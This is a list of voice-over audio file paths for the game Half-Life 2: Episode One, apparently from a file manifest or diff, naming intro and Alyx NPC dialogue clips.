+vo/episode_1/intro/al_seeyousoon02.wav +vo/episode_1/intro/al_smashscanner01.wav +vo/episode_1/intro/al_smashscanner02.wav +vo/episode_1/intro/al_sogladtoseeyou.wav +vo/episode_1/intro/al_somethingisaid.wav +vo/episode_1/intro/al_somewayacrossgap.wav +vo/episode_1/intro/al_soworried.wav +vo/episode_1/intro/al_staycloseboy01.wav +vo/episode_1/intro/al_staycloseboy02.wav +vo/episode_1/intro/al_stayclosedog01.wav +vo/episode_1/intro/al_stilldontknow.wav +vo/episode_1/intro/al_stilldontknow01.wav +vo/episode_1/intro/al_stilldontknow02.wav +vo/episode_1/intro/al_stillnotsure.wav +vo/episode_1/intro/al_stillnotsure01.wav +vo/episode_1/intro/al_stillnotsure02.wav +vo/episode_1/intro/al_stillnotsure03.wav +vo/episode_1/intro/al_stopclowning.wav +vo/episode_1/intro/al_stopgoofing.wav +vo/episode_1/intro/al_thankgod.wav +vo/episode_1/intro/al_thanksdog.wav +vo/episode_1/intro/al_thankyou.wav +vo/episode_1/intro/al_thattaboy.wav +vo/episode_1/intro/al_thatwasclose01.wav +vo/episode_1/intro/al_thatwasclose02.wav +vo/episode_1/intro/al_throwingstuff.wav +vo/episode_1/intro/al_tryingtoreachhim.wav +vo/episode_1/intro/al_tryingtoreachhim_new.wav +vo/episode_1/intro/al_understanddad.wav +vo/episode_1/intro/al_upforthisgordon.wav +vo/episode_1/intro/al_waitllhehears.wav +vo/episode_1/intro/al_waitllhehears_alt.wav +vo/episode_1/intro/al_waittillhehears.wav +vo/episode_1/intro/al_waittillhehears_new01.wav +vo/episode_1/intro/al_waittillhehears_new02.wav +vo/episode_1/intro/al_watchdrop.wav +vo/episode_1/intro/al_watchstep.wav +vo/episode_1/intro/al_wecandothis.wav +vo/episode_1/intro/al_wellbecareful.wav +vo/episode_1/intro/al_whatareyoutwodoing.wav +vo/episode_1/intro/al_whatintodog.wav +vo/episode_1/intro/al_whatisitdog.wav +vo/episode_1/intro/al_whatnow.wav +vo/episode_1/intro/al_whatthistime.wav +vo/episode_1/intro/al_whatupto.wav +vo/episode_1/intro/al_wheredoeshethink.wav +vo/episode_1/intro/al_wherehegoing.wav +vo/episode_1/intro/al_whew.wav +vo/episode_1/intro/al_whoa.wav +vo/episode_1/intro/al_wontgobackthatway.wav +vo/episode_1/intro/al_yeah.wav +vo/episode_1/intro/al_youfoundgordon.wav +vo/episode_1/intro/al_youokaydog.wav +vo/episode_1/intro/al_yourealive.wav +vo/episode_1/intro/eli_alyxno.wav +vo/episode_1/intro/eli_andgordon01.wav +vo/episode_1/intro/eli_andgordon02.wav +vo/episode_1/intro/eli_checkin01.wav +vo/episode_1/intro/eli_checkin02.wav +vo/episode_1/intro/eli_comeinalyx01.wav +vo/episode_1/intro/eli_comeinalyx02.wav +vo/episode_1/intro/eli_comeinalyx03.wav +vo/episode_1/intro/eli_comeinalyx04.wav +vo/episode_1/intro/eli_comeinalyx05.wav +vo/episode_1/intro/eli_dowhatyoumust01.wav +vo/episode_1/intro/eli_dowhatyoumust02.wav +vo/episode_1/intro/eli_isaacplease.wav +vo/episode_1/intro/eli_izzytalk.wav +vo/episode_1/intro/eli_kleiner.wav +vo/episode_1/intro/eli_kleinerstop.wav +vo/episode_1/intro/eli_loveyoutoo01.wav +vo/episode_1/intro/eli_loveyoutoo02.wav +vo/episode_1/intro/eli_loveyoutoo03.wav +vo/episode_1/intro/eli_shefoundyou01.wav +vo/episode_1/intro/eli_shefoundyou02.wav +vo/episode_1/intro/eli_shefoundyou03.wav +vo/episode_1/intro/eli_shefoundyou04.wav +vo/episode_1/intro/eli_shefoundyou05.wav +vo/episode_1/intro/eli_uhizzy.wav +vo/episode_1/intro/eli_uhizzy01.wav +vo/episode_1/intro/eli_uhizzy02.wav +vo/episode_1/intro/eli_uhizzy03.wav +vo/episode_1/intro/eli_uhizzy04.wav +vo/episode_1/intro/eli_uhizzy05.wav +vo/episode_1/intro/eli_what01.wav +vo/episode_1/intro/gman_wellseeaboutthat.wav +vo/episode_1/intro/kl_carefullamarr01.wav +vo/episode_1/intro/kl_carefullamarr02.wav +vo/episode_1/intro/kl_citadelabove01.wav +vo/episode_1/intro/kl_citadelabove02.wav +vo/episode_1/intro/kl_damage.wav +vo/episode_1/intro/kl_damage01.wav +vo/episode_1/intro/kl_damage02.wav +vo/episode_1/intro/kl_damage03.wav +vo/episode_1/intro/kl_damage04.wav +vo/episode_1/intro/kl_fellowcitizens01.wav +vo/episode_1/intro/kl_fellowcitizens02.wav +vo/episode_1/intro/kl_fellowcitizens03.wav +vo/episode_1/intro/kl_fellowcitizens04.wav +vo/episode_1/intro/kl_fellowcitizens05.wav +vo/episode_1/intro/kl_fellowcitizens06.wav +vo/episode_1/intro/kl_fellowcitizens07.wav +vo/episode_1/intro/kl_fellowcitizens08.wav +vo/episode_1/intro/kl_fellowcitizens09.wav +vo/episode_1/intro/kl_fellowcitizens10.wav +vo/episode_1/intro/kl_fellowcitizens11.wav +vo/episode_1/intro/kl_fellowcitizens12.wav +vo/episode_1/intro/kl_fellowcitizens13.wav +vo/episode_1/intro/kl_fellowcitizens14.wav +vo/episode_1/intro/kl_fellowcitizens15.wav +vo/episode_1/intro/kl_fellowcitizens16.wav +vo/episode_1/intro/kl_fellowcitizens17.wav +vo/episode_1/intro/kl_fellowcitizens18.wav +vo/episode_1/intro/kl_fellowcitizens19.wav +vo/episode_1/intro/kl_fellowcitizens20.wav +vo/episode_1/intro/kl_fellowcitizens21.wav +vo/episode_1/intro/kl_fellowcitizens22.wav +vo/episode_1/intro/kl_fellowcitizens23.wav +vo/episode_1/intro/kl_fellowcitizens24.wav +vo/episode_1/intro/kl_fellowcitizens25.wav +vo/episode_1/intro/kl_fellowcitizens26.wav +vo/episode_1/intro/kl_hopeyoufar.wav +vo/episode_1/intro/kl_imsorryeli01.wav +vo/episode_1/intro/kl_imsorryeli02.wav +vo/episode_1/intro/kl_insufficient.wav +vo/episode_1/intro/kl_intothecore.wav +vo/episode_1/intro/kl_isthison.wav +vo/episode_1/intro/kl_noquestion01.wav +vo/episode_1/intro/kl_noquestion02.wav +vo/episode_1/intro/kl_noquestion03.wav +vo/episode_1/intro/kl_vicinity.wav +vo/episode_1/intro/vortchorus.wav +vo/episode_1/npc/alyx/al_affirm01.wav +vo/episode_1/npc/alyx/al_affirm02.wav +vo/episode_1/npc/alyx/al_affirm03.wav +vo/episode_1/npc/alyx/al_affirm04.wav +vo/episode_1/npc/alyx/al_affirm05.wav +vo/episode_1/npc/alyx/al_affirm_sarc01.wav +vo/episode_1/npc/alyx/al_affirm_sarc02.wav +vo/episode_1/npc/alyx/al_affirm_sarc03.wav +vo/episode_1/npc/alyx/al_affirm_sarc04.wav +vo/episode_1/npc/alyx/al_affirm_sarc05.wav +vo/episode_1/npc/alyx/al_alert_aguard.wav +vo/episode_1/npc/alyx/al_alert_barnacle01.wav +vo/episode_1/npc/alyx/al_alert_barnacle02.wav +vo/episode_1/npc/alyx/al_alert_barnacle03.wav +vo/episode_1/npc/alyx/al_alert_barnacle04.wav +vo/episode_1/npc/alyx/al_alert_dropship.wav +vo/episode_1/npc/alyx/al_alert_gunship.wav +vo/episode_1/npc/alyx/al_alert_headcrabs01.wav +vo/episode_1/npc/alyx/al_alert_headcrabs02.wav +vo/episode_1/npc/alyx/al_alert_headcrabs03.wav +vo/episode_1/npc/alyx/al_alert_headcrabs04.wav +vo/episode_1/npc/alyx/al_alert_headcrabs05.wav +vo/episode_1/npc/alyx/al_alert_soldiers.wav +vo/episode_1/npc/alyx/al_behindyou01.wav +vo/episode_1/npc/alyx/al_cantinterrupt01.wav +vo/episode_1/npc/alyx/al_cantinterrupt02.wav +vo/episode_1/npc/alyx/al_cantinterrupt03.wav +vo/episode_1/npc/alyx/al_cantinterrupt04.wav +vo/episode_1/npc/alyx/al_cantinterrupt05.wav +vo/episode_1/npc/alyx/al_combat_boom01.wav +vo/episode_1/npc/alyx/al_combat_boom02.wav +vo/episode_1/npc/alyx/al_combat_boom03.wav +vo/episode_1/npc/alyx/al_combat_boom04.wav +vo/episode_1/npc/alyx/al_combat_boom05.wav +vo/episode_1/npc/alyx/al_combat_boom06.wav +vo/episode_1/npc/alyx/al_combat_boom07.wav +vo/episode_1/npc/alyx/al_combat_burnem01.wav +vo/episode_1/npc/alyx/al_combat_burnem02.wav +vo/episode_1/npc/alyx/al_combat_didiseethat.wav +vo/episode_1/npc/alyx/al_combat_goodshooting01.wav +vo/episode_1/npc/alyx/al_combat_goodshooting02.wav +vo/episode_1/npc/alyx/al_combat_goodshooting03.wav +vo/episode_1/npc/alyx/al_combat_goodshot01.wav +vo/episode_1/npc/alyx/al_combat_goodshot02.wav +vo/episode_1/npc/alyx/al_combat_goodshot03.wav +vo/episode_1/npc/alyx/al_combat_goodshot04.wav +vo/episode_1/npc/alyx/al_combat_goodthinking01.wav +vo/episode_1/npc/alyx/al_combat_goodthinking02.wav +vo/episode_1/npc/alyx/al_combat_goodthinking03.wav +vo/episode_1/npc/alyx/al_combat_gradual01.wav +vo/episode_1/npc/alyx/al_combat_gradual02.wav +vo/episode_1/npc/alyx/al_combat_gradual03.wav +vo/episode_1/npc/alyx/al_combat_gradual04.wav +vo/episode_1/npc/alyx/al_combat_gradual_quiet_01.wav +vo/episode_1/npc/alyx/al_combat_gradual_quiet_02.wav +vo/episode_1/npc/alyx/al_combat_gradual_quiet_03.wav +vo/episode_1/npc/alyx/al_combat_gradual_quiet_04.wav +vo/episode_1/npc/alyx/al_combat_gradual_quiet_05.wav +vo/episode_1/npc/alyx/al_combat_gradual_quiet_06.wav +vo/episode_1/npc/alyx/al_combat_iwantedthose01.wav +vo/episode_1/npc/alyx/al_combat_iwantedthose02.wav +vo/episode_1/npc/alyx/al_combat_leavesome01.wav +vo/episode_1/npc/alyx/al_combat_leavesome02.wav +vo/episode_1/npc/alyx/al_combat_lightem.wav +vo/episode_1/npc/alyx/al_combat_mob01.wav +vo/episode_1/npc/alyx/al_combat_mob02.wav +vo/episode_1/npc/alyx/al_combat_mob03.wav +vo/episode_1/npc/alyx/al_combat_mob04.wav +vo/episode_1/npc/alyx/al_combat_mob05.wav +vo/episode_1/npc/alyx/al_combat_mob06.wav +vo/episode_1/npc/alyx/al_combat_mob07.wav +vo/episode_1/npc/alyx/al_combat_mob08.wav +vo/episode_1/npc/alyx/al_combat_mob09.wav +vo/episode_1/npc/alyx/al_combat_mob10.wav +vo/episode_1/npc/alyx/al_combat_mob11.wav +vo/episode_1/npc/alyx/al_combat_nice.wav +vo/episode_1/npc/alyx/al_combat_nicemove01.wav +vo/episode_1/npc/alyx/al_combat_nicepunt01.wav +vo/episode_1/npc/alyx/al_combat_nicepunt02.wav +vo/episode_1/npc/alyx/al_combat_niceshooting01.wav +vo/episode_1/npc/alyx/al_combat_niceshooting02.wav +vo/episode_1/npc/alyx/al_combat_niceshot01.wav +vo/episode_1/npc/alyx/al_combat_niceshot02.wav +vo/episode_1/npc/alyx/al_combat_niceshot03.wav +vo/episode_1/npc/alyx/al_combat_niceshot04.wav +vo/episode_1/npc/alyx/al_combat_ohsnap.wav +vo/episode_1/npc/alyx/al_combat_start01.wav +vo/episode_1/npc/alyx/al_combat_start02.wav +vo/episode_1/npc/alyx/al_combat_start03.wav +vo/episode_1/npc/alyx/al_combat_start04.wav +vo/episode_1/npc/alyx/al_combat_start05.wav +vo/episode_1/npc/alyx/al_combat_start06.wav +vo/episode_1/npc/alyx/al_combat_sudden01.wav +vo/episode_1/npc/alyx/al_combat_sudden02.wav +vo/episode_1/npc/alyx/al_combat_sudden03.wav +vo/episode_1/npc/alyx/al_combat_sudden04.wav +vo/episode_1/npc/alyx/al_combat_sudden05.wav +vo/episode_1/npc/alyx/al_combat_sudden06.wav +vo/episode_1/npc/alyx/al_combat_sudden07.wav +vo/episode_1/npc/alyx/al_combat_sudden08.wav +vo/episode_1/npc/alyx/al_combat_sudden09.wav +vo/episode_1/npc/alyx/al_combat_sudden10.wav +vo/episode_1/npc/alyx/al_combat_sudden11.wav +vo/episode_1/npc/alyx/al_combat_sudden12.wav +vo/episode_1/npc/alyx/al_combat_thanks01.wav +vo/episode_1/npc/alyx/al_combat_thanks02.wav +vo/episode_1/npc/alyx/al_combat_thanks03.wav +vo/episode_1/npc/alyx/al_combat_thanks04.wav +vo/episode_1/npc/alyx/al_combat_whoanice01.wav +vo/episode_1/npc/alyx/al_combat_whoanice02.wav +vo/episode_1/npc/alyx/al_combat_yeah01.wav +vo/episode_1/npc/alyx/al_combat_yeah02.wav +vo/episode_1/npc/alyx/al_combat_zombq01.wav +vo/episode_1/npc/alyx/al_combat_zombq02.wav +vo/episode_1/npc/alyx/al_comingtohelp01.wav +vo/episode_1/npc/alyx/al_comingtohelp02.wav +vo/episode_1/npc/alyx/al_comingtohelp03.wav +vo/episode_1/npc/alyx/al_comingtohelp04.wav +vo/episode_1/npc/alyx/al_coolgravkill01.wav +vo/episode_1/npc/alyx/al_coolgravkill02.wav +vo/episode_1/npc/alyx/al_coolgravkill03.wav +vo/episode_1/npc/alyx/al_coolgravkill04.wav +vo/episode_1/npc/alyx/al_dark_attack01.wav +vo/episode_1/npc/alyx/al_dark_attack02.wav +vo/episode_1/npc/alyx/al_dark_attack03.wav +vo/episode_1/npc/alyx/al_dark_attack04.wav +vo/episode_1/npc/alyx/al_dark_attack05.wav +vo/episode_1/npc/alyx/al_dark_attack06.wav +vo/episode_1/npc/alyx/al_dark_breathing01.wav +vo/episode_1/npc/alyx/al_dark_breathing02.wav +vo/episode_1/npc/alyx/al_dark_breathing03.wav +vo/episode_1/npc/alyx/al_dark_fakegroan.wav +vo/episode_1/npc/alyx/al_dark_gotcha.wav +vo/episode_1/npc/alyx/al_dark_lightout01.wav +vo/episode_1/npc/alyx/al_dark_lightout02.wav +vo/episode_1/npc/alyx/al_dark_lightout03.wav +vo/episode_1/npc/alyx/al_dark_lightout04.wav +vo/episode_1/npc/alyx/al_dark_lightout05.wav +vo/episode_1/npc/alyx/al_dark_near01.wav +vo/episode_1/npc/alyx/al_dark_near02.wav +vo/episode_1/npc/alyx/al_dark_near03.wav +vo/episode_1/npc/alyx/al_dark_near04.wav +vo/episode_1/npc/alyx/al_dark_noises01.wav +vo/episode_1/npc/alyx/al_dark_noises02.wav +vo/episode_1/npc/alyx/al_dark_noises03.wav +vo/episode_1/npc/alyx/al_dark_noises04.wav +vo/episode_1/npc/alyx/al_dark_noises05.wav +vo/episode_1/npc/alyx/al_dark_noises06.wav +vo/episode_1/npc/alyx/al_dark_noises07.wav +vo/episode_1/npc/alyx/al_dark_relief01.wav +vo/episode_1/npc/alyx/al_dark_relief02.wav +vo/episode_1/npc/alyx/al_dark_relief03.wav +vo/episode_1/npc/alyx/al_dark_relief04.wav +vo/episode_1/npc/alyx/al_dark_relief05.wav +vo/episode_1/npc/alyx/al_dark_stayclose01.wav +vo/episode_1/npc/alyx/al_dark_stayclose02.wav +vo/episode_1/npc/alyx/al_dark_stayclose03.wav +vo/episode_1/npc/alyx/al_dark_worried01.wav +vo/episode_1/npc/alyx/al_dark_worried02.wav +vo/episode_1/npc/alyx/al_dark_worried03.wav +vo/episode_1/npc/alyx/al_dark_worriederer01.wav +vo/episode_1/npc/alyx/al_dark_worriederer02.wav +vo/episode_1/npc/alyx/al_dark_worriederer03.wav +vo/episode_1/npc/alyx/al_dark_worrieder_01.wav +vo/episode_1/npc/alyx/al_dark_worrieder_02.wav +vo/episode_1/npc/alyx/al_dark_worrieder_03.wav +vo/episode_1/npc/alyx/al_dark_worriedest01.wav +vo/episode_1/npc/alyx/al_dark_worriedest02.wav +vo/episode_1/npc/alyx/al_dark_worriedest03.wav +vo/episode_1/npc/alyx/al_dark_worriedest04.wav +vo/episode_1/npc/alyx/al_dark_worriedest05.wav +vo/episode_1/npc/alyx/al_deaf_canthearanything.wav +vo/episode_1/npc/alyx/al_deaf_canthearyou.wav +vo/episode_1/npc/alyx/al_deaf_earsringing.wav +vo/episode_1/npc/alyx/al_deaf_saysomething.wav +vo/episode_1/npc/alyx/al_deaf_what.wav +vo/episode_1/npc/alyx/al_doyourstuff.wav +vo/episode_1/npc/alyx/al_explo_agh.wav +vo/episode_1/npc/alyx/al_explo_lookout.wav +vo/episode_1/npc/alyx/al_explo_watchit.wav +vo/episode_1/npc/alyx/al_explo_whoa.wav +vo/episode_1/npc/alyx/al_fight01.wav +vo/episode_1/npc/alyx/al_fight02.wav +vo/episode_1/npc/alyx/al_fight03.wav +vo/episode_1/npc/alyx/al_fight04.wav +vo/episode_1/npc/alyx/al_fight05.wav +vo/episode_1/npc/alyx/al_fight06.wav +vo/episode_1/npc/alyx/al_fight07.wav +vo/episode_1/npc/alyx/al_fight08.wav +vo/episode_1/npc/alyx/al_fight09.wav +vo/episode_1/npc/alyx/al_fight10.wav +vo/episode_1/npc/alyx/al_fight11.wav +vo/episode_1/npc/alyx/al_fight12.wav +vo/episode_1/npc/alyx/al_fight13.wav +vo/episode_1/npc/alyx/al_fight14.wav +vo/episode_1/npc/alyx/al_fight15.wav +vo/episode_1/npc/alyx/al_fight16.wav +vo/episode_1/npc/alyx/al_fight17.wav +vo/episode_1/npc/alyx/al_fight18.wav +vo/episode_1/npc/alyx/al_fight19.wav +vo/episode_1/npc/alyx/al_fight20.wav +vo/episode_1/npc/alyx/al_fight21.wav +vo/episode_1/npc/alyx/al_fight22.wav +vo/episode_1/npc/alyx/al_fight23.wav +vo/episode_1/npc/alyx/al_firstbarnacle.wav +vo/episode_1/npc/alyx/al_follow01.wav +vo/episode_1/npc/alyx/al_follow02.wav +vo/episode_1/npc/alyx/al_follow03.wav +vo/episode_1/npc/alyx/al_follow04.wav +vo/episode_1/npc/alyx/al_follow05.wav +vo/episode_1/npc/alyx/al_follow06.wav +vo/episode_1/npc/alyx/al_greet_cit01.wav +vo/episode_1/npc/alyx/al_greet_cit02.wav +vo/episode_1/npc/alyx/al_greet_cit03.wav +vo/episode_1/npc/alyx/al_greet_cit04.wav +vo/episode_1/npc/alyx/al_greet_cit05.wav +vo/episode_1/npc/alyx/al_greet_cit06.wav +vo/episode_1/npc/alyx/al_greet_cit07.wav +vo/episode_1/npc/alyx/al_greet_cit08.wav +vo/episode_1/npc/alyx/al_greet_cit09.wav +vo/episode_1/npc/alyx/al_greet_cit10.wav +vo/episode_1/npc/alyx/al_greet_cit11.wav +vo/episode_1/npc/alyx/al_greet_cit12.wav +vo/episode_1/npc/alyx/al_greet_cit13.wav +vo/episode_1/npc/alyx/al_greet_cit14.wav +vo/episode_1/npc/alyx/al_greet_cit15.wav +vo/episode_1/npc/alyx/al_greet_cit16.wav +vo/episode_1/npc/alyx/al_greet_cit17.wav +vo/episode_1/npc/alyx/al_greet_cit18.wav +vo/episode_1/npc/alyx/al_greet_cit19.wav +vo/episode_1/npc/alyx/al_greet_cit20.wav +vo/episode_1/npc/alyx/al_greet_cit21.wav +vo/episode_1/npc/alyx/al_greet_cit22.wav +vo/episode_1/npc/alyx/al_greet_cit23.wav +vo/episode_1/npc/alyx/al_grenade_warn01.wav +vo/episode_1/npc/alyx/al_grenade_warn02.wav +vo/episode_1/npc/alyx/al_grenade_warn03.wav +vo/episode_1/npc/alyx/al_grenade_warn04.wav +vo/episode_1/npc/alyx/al_grenade_warn_new_01.wav +vo/episode_1/npc/alyx/al_grenade_warn_new_02.wav +vo/episode_1/npc/alyx/al_grenade_warn_new_03.wav +vo/episode_1/npc/alyx/al_grenade_warn_new_04.wav +vo/episode_1/npc/alyx/al_gross01.wav +vo/episode_1/npc/alyx/al_gross02.wav +vo/episode_1/npc/alyx/al_hack_done01.wav +vo/episode_1/npc/alyx/al_hack_done02.wav +vo/episode_1/npc/alyx/al_hack_done03.wav +vo/episode_1/npc/alyx/al_hack_fail01.wav +vo/episode_1/npc/alyx/al_hack_fail02.wav +vo/episode_1/npc/alyx/al_hack_train01.wav +vo/episode_1/npc/alyx/al_hack_train02.wav +vo/episode_1/npc/alyx/al_hack_train03.wav +vo/episode_1/npc/alyx/al_hack_train04.wav +vo/episode_1/npc/alyx/al_hack_train05.wav +vo/episode_1/npc/alyx/al_headcrabsurprise01.wav +vo/episode_1/npc/alyx/al_headcrabsurprise02.wav +vo/episode_1/npc/alyx/al_headcrabsurprise03.wav +vo/episode_1/npc/alyx/al_healplayer01.wav +vo/episode_1/npc/alyx/al_healplayer02.wav +vo/episode_1/npc/alyx/al_holycrap01.wav +vo/episode_1/npc/alyx/al_impact01.wav +vo/episode_1/npc/alyx/al_impact02.wav +vo/episode_1/npc/alyx/al_impact03.wav +vo/episode_1/npc/alyx/al_impact04.wav +vo/episode_1/npc/alyx/al_impact05.wav +vo/episode_1/npc/alyx/al_impact06.wav +vo/episode_1/npc/alyx/al_impact07.wav +vo/episode_1/npc/alyx/al_impact08.wav +vo/episode_1/npc/alyx/al_impact09.wav +vo/episode_1/npc/alyx/al_impact10.wav +vo/episode_1/npc/alyx/al_impact11.wav +vo/episode_1/npc/alyx/al_impact12.wav +vo/episode_1/npc/alyx/al_impact13.wav +vo/episode_1/npc/alyx/al_impact14.wav +vo/episode_1/npc/alyx/al_itsallyou.wav +vo/episode_1/npc/alyx/al_laugh01.wav +vo/episode_1/npc/alyx/al_laugh02.wav +vo/episode_1/npc/alyx/al_laugh03.wav +vo/episode_1/npc/alyx/al_laugh04.wav +vo/episode_1/npc/alyx/al_laugh05.wav +vo/episode_1/npc/alyx/al_laugh06.wav +vo/episode_1/npc/alyx/al_laugh07.wav +vo/episode_1/npc/alyx/al_laugh08.wav +vo/episode_1/npc/alyx/al_laugh09.wav +vo/episode_1/npc/alyx/al_laugh10.wav +vo/episode_1/npc/alyx/al_lead_catchup01.wav +vo/episode_1/npc/alyx/al_lead_catchup02.wav +vo/episode_1/npc/alyx/al_lead_catchup03.wav +vo/episode_1/npc/alyx/al_lead_catchup04.wav +vo/episode_1/npc/alyx/al_lead_catchup05.wav +vo/episode_1/npc/alyx/al_lead_catchup06.wav +vo/episode_1/npc/alyx/al_lead_catchup07.wav +vo/episode_1/npc/alyx/al_lead_catchup08.wav +vo/episode_1/npc/alyx/al_lead_comingback01.wav +vo/episode_1/npc/alyx/al_lead_comingback02.wav +vo/episode_1/npc/alyx/al_lead_comingback03.wav +vo/episode_1/npc/alyx/al_lead_comingback04.wav +vo/episode_1/npc/alyx/al_lead_comingback05.wav +vo/episode_1/npc/alyx/al_lead_comingback06.wav +vo/episode_1/npc/alyx/al_lead_comingback07.wav +vo/episode_1/npc/alyx/al_lead_retrieve01.wav +vo/episode_1/npc/alyx/al_lead_retrieve02.wav +vo/episode_1/npc/alyx/al_lead_retrieve03.wav +vo/episode_1/npc/alyx/al_lead_start01.wav +vo/episode_1/npc/alyx/al_lead_start02.wav +vo/episode_1/npc/alyx/al_lead_start03.wav +vo/episode_1/npc/alyx/al_lead_start04.wav +vo/episode_1/npc/alyx/al_lead_start05.wav +vo/episode_1/npc/alyx/al_lead_start06.wav +vo/episode_1/npc/alyx/al_lead_start07.wav +vo/episode_1/npc/alyx/al_light_antlion.wav +vo/episode_1/npc/alyx/al_light_barnacle01.wav +vo/episode_1/npc/alyx/al_light_barnacle02.wav +vo/episode_1/npc/alyx/al_light_blind01.wav +vo/episode_1/npc/alyx/al_light_blind02.wav +vo/episode_1/npc/alyx/al_light_blind03.wav +vo/episode_1/npc/alyx/al_light_blind04.wav +vo/episode_1/npc/alyx/al_light_blind05.wav +vo/episode_1/npc/alyx/al_light_blind06.wav +vo/episode_1/npc/alyx/al_light_found01.wav +vo/episode_1/npc/alyx/al_light_found02.wav +vo/episode_1/npc/alyx/al_light_found03.wav +vo/episode_1/npc/alyx/al_light_found04.wav +vo/episode_1/npc/alyx/al_light_found05.wav +vo/episode_1/npc/alyx/al_light_found06.wav +vo/episode_1/npc/alyx/al_light_found07.wav +vo/episode_1/npc/alyx/al_light_found08.wav +vo/episode_1/npc/alyx/al_light_found09.wav +vo/episode_1/npc/alyx/al_light_found10.wav +vo/episode_1/npc/alyx/al_light_found11.wav +vo/episode_1/npc/alyx/al_light_found12.wav +vo/episode_1/npc/alyx/al_light_found13.wav +vo/episode_1/npc/alyx/al_light_found14.wav +vo/episode_1/npc/alyx/al_light_found15.wav +vo/episode_1/npc/alyx/al_light_found16.wav +vo/episode_1/npc/alyx/al_light_generic01.wav +vo/episode_1/npc/alyx/al_light_generic02.wav +vo/episode_1/npc/alyx/al_light_generic03.wav +vo/episode_1/npc/alyx/al_light_lost01.wav +vo/episode_1/npc/alyx/al_light_lost02.wav +vo/episode_1/npc/alyx/al_light_lost03.wav +vo/episode_1/npc/alyx/al_light_lost04.wav +vo/episode_1/npc/alyx/al_light_lost05.wav +vo/episode_1/npc/alyx/al_light_lost06.wav +vo/episode_1/npc/alyx/al_light_lost07.wav +vo/episode_1/npc/alyx/al_light_lost08.wav +vo/episode_1/npc/alyx/al_light_lost09.wav +vo/episode_1/npc/alyx/al_light_lost10.wav +vo/episode_1/npc/alyx/al_light_lost11.wav +vo/episode_1/npc/alyx/al_light_lost12.wav +vo/episode_1/npc/alyx/al_light_lost_quiet01.wav +vo/episode_1/npc/alyx/al_light_lost_quiet02.wav +vo/episode_1/npc/alyx/al_light_lost_quiet03.wav +vo/episode_1/npc/alyx/al_light_lost_quiet04.wav +vo/episode_1/npc/alyx/al_light_lost_quiet05.wav +vo/episode_1/npc/alyx/al_light_lost_quiet06.wav +vo/episode_1/npc/alyx/al_light_lost_quiet07.wav +vo/episode_1/npc/alyx/al_light_lost_quiet08.wav +vo/episode_1/npc/alyx/al_light_lost_quiet09.wav +vo/episode_1/npc/alyx/al_light_lost_quiet10.wav +vo/episode_1/npc/alyx/al_light_lost_quiet11.wav +vo/episode_1/npc/alyx/al_light_lost_quiet12.wav +vo/episode_1/npc/alyx/al_light_lost_quiet13.wav +vo/episode_1/npc/alyx/al_light_lost_quiet14.wav +vo/episode_1/npc/alyx/al_light_lost_quiet15.wav +vo/episode_1/npc/alyx/al_light_lost_quiet16.wav +vo/episode_1/npc/alyx/al_light_lost_quiet17.wav +vo/episode_1/npc/alyx/al_light_lost_quiet18.wav +vo/episode_1/npc/alyx/al_light_ok01.wav +vo/episode_1/npc/alyx/al_light_ok02.wav +vo/episode_1/npc/alyx/al_light_ok03.wav +vo/episode_1/npc/alyx/al_light_ok04.wav +vo/episode_1/npc/alyx/al_light_out01.wav +vo/episode_1/npc/alyx/al_light_out02.wav +vo/episode_1/npc/alyx/al_light_out03.wav +vo/episode_1/npc/alyx/al_light_out04.wav +vo/episode_1/npc/alyx/al_light_out05.wav +vo/episode_1/npc/alyx/al_light_out06.wav +vo/episode_1/npc/alyx/al_light_out07.wav +vo/episode_1/npc/alyx/al_light_out08.wav +vo/episode_1/npc/alyx/al_light_out09.wav +vo/episode_1/npc/alyx/al_light_out10.wav +vo/episode_1/npc/alyx/al_light_out11.wav +vo/episode_1/npc/alyx/al_light_out12.wav +vo/episode_1/npc/alyx/al_light_out13.wav +vo/episode_1/npc/alyx/al_light_out14.wav +vo/episode_1/npc/alyx/al_light_out15.wav +vo/episode_1/npc/alyx/al_light_out16.wav +vo/episode_1/npc/alyx/al_light_out17.wav +vo/episode_1/npc/alyx/al_light_out18.wav +vo/episode_1/npc/alyx/al_light_recharge01.wav +vo/episode_1/npc/alyx/al_light_recharge02.wav +vo/episode_1/npc/alyx/al_light_recharge03.wav +vo/episode_1/npc/alyx/al_light_recharge04.wav +vo/episode_1/npc/alyx/al_light_recharge05.wav +vo/episode_1/npc/alyx/al_light_recharge06.wav +vo/episode_1/npc/alyx/al_light_recharge07.wav +vo/episode_1/npc/alyx/al_light_turnon01.wav +vo/episode_1/npc/alyx/al_light_turnon02.wav +vo/episode_1/npc/alyx/al_light_turnon03.wav +vo/episode_1/npc/alyx/al_light_turnon04.wav +vo/episode_1/npc/alyx/al_light_zombie.wav +vo/episode_1/npc/alyx/al_mobbed_thanks01.wav +vo/episode_1/npc/alyx/al_mobbed_thanks02.wav +vo/episode_1/npc/alyx/al_mobbed_thatwasclose01.wav +vo/episode_1/npc/alyx/al_mobbed_thatwasclose02.wav +vo/episode_1/npc/alyx/al_mobbed_thatwasclose03.wav +vo/episode_1/npc/alyx/al_monsterbehindplayer01.wav +vo/episode_1/npc/alyx/al_monsterbehindplayer02.wav +vo/episode_1/npc/alyx/al_monsterbehindplayer03.wav +vo/episode_1/npc/alyx/al_monsterbehindplayer04.wav +vo/episode_1/npc/alyx/al_outofbreath01.wav +vo/episode_1/npc/alyx/al_outofbreath02.wav +vo/episode_1/npc/alyx/al_outofbreath03.wav +vo/episode_1/npc/alyx/al_outofbreath04.wav +vo/episode_1/npc/alyx/al_outofbreath05.wav +vo/episode_1/npc/alyx/al_outofbreath06.wav +vo/episode_1/npc/alyx/al_outofbreath07.wav +vo/episode_1/npc/alyx/al_outofbreath08.wav +vo/episode_1/npc/alyx/al_outofbreath09.wav +vo/episode_1/npc/alyx/al_outofbreath10.wav +vo/episode_1/npc/alyx/al_outofbreath11.wav +vo/episode_1/npc/alyx/al_outofbreath12.wav +vo/episode_1/npc/alyx/al_outofbreath13.wav +vo/episode_1/npc/alyx/al_outofbreath14.wav +vo/episode_1/npc/alyx/al_outofbreath15.wav +vo/episode_1/npc/alyx/al_physimpact01.wav +vo/episode_1/npc/alyx/al_physimpact02.wav +vo/episode_1/npc/alyx/al_physimpact03.wav +vo/episode_1/npc/alyx/al_physimpact_loud01.wav +vo/episode_1/npc/alyx/al_physimpact_loud02.wav +vo/episode_1/npc/alyx/al_physimpact_loud03.wav +vo/episode_1/npc/alyx/al_playerdeath01.wav +vo/episode_1/npc/alyx/al_playerdeath02.wav +vo/episode_1/npc/alyx/al_playerdeath03.wav 